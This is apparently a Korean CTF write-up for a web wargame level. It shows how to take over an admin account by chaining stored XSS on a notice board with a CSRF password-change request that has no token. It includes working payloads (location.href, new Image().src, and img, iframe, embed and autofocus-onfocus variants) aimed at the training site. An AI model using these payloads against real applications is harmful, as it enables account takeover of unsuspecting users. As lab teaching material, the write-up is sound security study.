[1]Reconnaissance
-계정을 탈취하는 것이 목적인 워 게임입니다.
page Analysis
[1]
-홈 페이지의 기본적인 로직은 이전에 포스팅한 'Steal Info2'와 동일합니다.
*Steal Info 2 : https://x4uiry.tistory.com/50
Steal Info 2
[1]Reconnaissance문제로 알 수 있는 것은 다음과 같습니다.-Mypage 정보란에 flag가 존재합니다.-Basic Script Prac과 Steal Info를 합친 문제입니다.1)Page Reconnaissance [1]path: http://ctf.segfaulthub.com:4343/scriptPrac2/mypa
x4uiry.tistory.com
-가입 -> 로그인 -> 마이페이지로 접속해봅시다.
[2]/csrf_1/mypage.php
-처음 접근할 때, user 파라미터에 자신의 이름을 담아 전송해서 이를 조작할 수 있을 것 같으나, 그냥 ..csrf_1/mypage.php 로 접근해도 변화가 없는 것을 봐선, $_SESSION['id'] 같은 값을 가져와 사용하는 것 같습니다. 일단 Reflected XSS를 시도하긴 어려워 보이네요.
-비밀번호 변경 기능이 작동하는지 봅시다.
-변경이 가능합니다.
-또한 GET 방식, 파라미터=데이터 형태로도 받고 있는 것을 확인했습니다.
[2]Vulnerability&Exploit
How to take away admin account?
-admin의 계정 탈취를 하는 방법에는 여러가지가 있겠지만, 일반적으로 생각해볼 수 있는 것은 세션 id가 있는 쿠키 탈취(XSS cookie stealer 등), 비밀번호 자체를 아는 방법(key logging, SQL Injection, phishing 등)으로 나눌 수 있을 것입니다.
-페이지 분석 단계에서 비밀번호 변경 기능이 있는 것을 확인했습니다. id 파라미터가 비어있어도 비밀번호가 변경되는 것을 보아 쿠키의 세션 id를 통해 계정을 식별하고 비밀번호를 변경한다는 것으로 추측할 수 있으며, csrf 토큰을 따로 붙여서 전송하진 않습니다. 따라서 아래와 같은 2가지 시나리오를 작성해볼 수 있습니다.
[1]GET 방식으로 변경시킨 비밀번호 변경 URL을 관리자 봇에 전송하고 접속한다면 우리가 아는 비밀번호로 비밀번호를 변경하게 되고 계정을 탈취하는 시나리오를 작성할 수 있습니다.
[2]게시판 같은 곳에서 XSS가 발생한다면 게시물 안에 비밀번호를 변경하는 url의 주소를 img src를 통해 접근시킬 수 있습니다.
-여기서도 location.href, fetch, img src, input onfocus autofocus 등 다양한 방법으로 나뉠 것입니다.
-그렇다면 쿠키 탈취는 어떨까요? 일단 XSS를 생각해볼 수 있을 겁니다. 먼저 httponly 옵션의 참/거짓을 확인해보아야 합니다. httponly 옵션이 중요한 이유는 true 일경우 javascript에서 document.cookie로 쿠키를 가져올 수 없기 때문에, 다른 방법을 시도해보는 것이 좋습니다. 현재 페이지인 ..csrf_1 의 cookie는 httponly option이 true로 되어 있습니다.
*물론 HTTPOnly 만 true로 설정한다고 안전한 것은 아닙니다. 꼭 세션 id가 필요해 같이 전송하는 AJAX 부분이나, phpinfo 등을 이용한 방법 등 여러가지 방법으로 취약해질 수 있습니다.
*https://aleksikistauri.medium.com/bypassing-httponly-with-phpinfo-file-4e5a8b17129b
Bypassing HttpOnly with phpinfo file
Before I start explaining how we were able to bypass the HttpOnly flag, let's discuss what HttpOnly even is:
aleksikistauri.medium.com
*https://medium.com/@yassergersy/xss-to-session-hijack-6039e11e6a81
Stealing HttpOnly Cookie via XSS
Hi
medium.com
CSRF
-비밀번호를 GET 방식의 파라미터 키 데이터 URL로 만들어보면 아래와 같이 만들 수 있습니다.
http://ctf.segfaulthub.com:7575/csrf_1/mypage.php?id=&info=&pw=pswd
-관리자 봇에 이를 삽입하면, 관리자가 중간에 알아차렸다고 합니다. 이 방법은 어려울 것 같습니다. 대놓고 비밀번호 변경하라고 했으니 그럴만 하네요.
CSRF with XSS
-일단 XSS가 일어나는 곳을 찾아야 합니다.
-'steal info', 'xss', 등 같은 기능을 가진 페이지이므로 게시판 페이지에 <script>를 바로 삽입하여 찾도록 하겠습니다.
*처음보는 페이지 또는 기능이 달라졌다면 입력값이 어디서 그대로 출력되는지 -> 특수문자(" ' < >)가 HTML Entity 치환이 되는지 -> script, alert, location href 등이 필터링되는지 -> 목적에 맞는 XSS를 설계하고 확인할 수 있는 부분에 alert이나 console log 등을 삽입하여 조금씩 payload를 완성 단계로 진행합니다.
-왼쪽은 csrf_1/notice_write_process.php 의 요청, 오른쪽은 csrf_1/notice_read.php 의 응답입니다.
-특수문자가 포함된 <script>alert(1)</script> 구문이 그대로 삽입되어 실행되는 것을 알 수 있으므로 여기서 XSS가 발생됩니다.
[1]location.href 또는 location.replace 로 리다이렉트 시켜 변경
<script>
location.href='http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=pswd';
</script>
-작성한 글이 있는 링크를 전송하였지만 역시 알아차렸다고 했습니다.
[2]img src를 통한 간접적 접근으로 변경
<script>
new Image().src='http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=pswd';
</script>
-일단 관리자 봇에서 접속을 하였습니다.
-왼쪽은 login.php에서 normaltic_admin과 바꾼 비밀번호로 로그인을 하는 것이고, 오른쪽은 로그인 후 리다이렉트되는 index.php의 응답 값으로 FLAG가 보입니다. 공격에 성공하였습니다.
[3]그 외 다른 방법
<script src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111"></script>
<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111"/>
<audio src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111"/>
<embed src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111"/>
<iframe src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111"/>
<input name="mal" id="mul" class="mel" autofocus onfocus="new Image().src='http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111'"/>
<img src=x onerror="new Image().src='http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1111'"/>
[3]Flag
FLAG
'write-up > web' 카테고리의 다른 글
Get Admin 3 (0) | 2024.07.08 |
---|---|
Get Admin 2 (0) | 2024.07.06 |
SQLHell (0) | 2024.07.05 |
Steal Info 2 (0) | 2024.06.30 |
Steal Info (0) | 2024.06.29 |